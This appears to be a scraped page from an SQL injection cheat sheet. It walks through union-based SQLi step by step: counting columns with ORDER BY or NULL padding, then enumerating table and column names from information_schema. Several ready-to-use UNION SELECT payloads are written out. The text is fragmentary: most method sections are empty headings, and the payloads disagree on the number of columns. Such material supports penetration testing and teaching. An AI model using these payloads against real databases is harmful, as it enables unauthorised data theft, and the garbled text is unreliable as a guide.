Union-Based SQLi – Long Method¶
Enumerate Number of Columns¶
Method 1¶
Continue incrementing the order by value until an error is returned.
Method 2¶
Continue incrementing the order by value until an error is returned.
Method 3¶
Continue adding NULL placeholders until no error is returned.
Method 4¶
Continue adjusting the order by clause until no results are returned.
Find Where Information Appears on the Screen¶
Enumerate Table Names¶
Enumerate table_1¶
Enumerate table_2¶
Enumerate table_2
' UNION SELECT 1,2,3,table_name from information_schema.tables where table_name not in ('<table_1>')--
Enumerate table_3¶
Enumerate table_3
' UNION SELECT 1,2,3,table_name from information_schema.tables where table_name not in ('<table_1>','<table_2>')--
Enumerate Column Names¶
Enumerate column_1 for table_1¶
Enumerate column_1 for table_1
' UNION SELECT column_name,2 from information_schema.columns where table_name='<table_1>'--
Enumerate column_2 for table_1¶
Enumerate column_2 for table_1
' UNION SELECT 1,2,3,column_name from information_schema.columns where table_name='<table_1>' and column_name not in ('<column_1>')--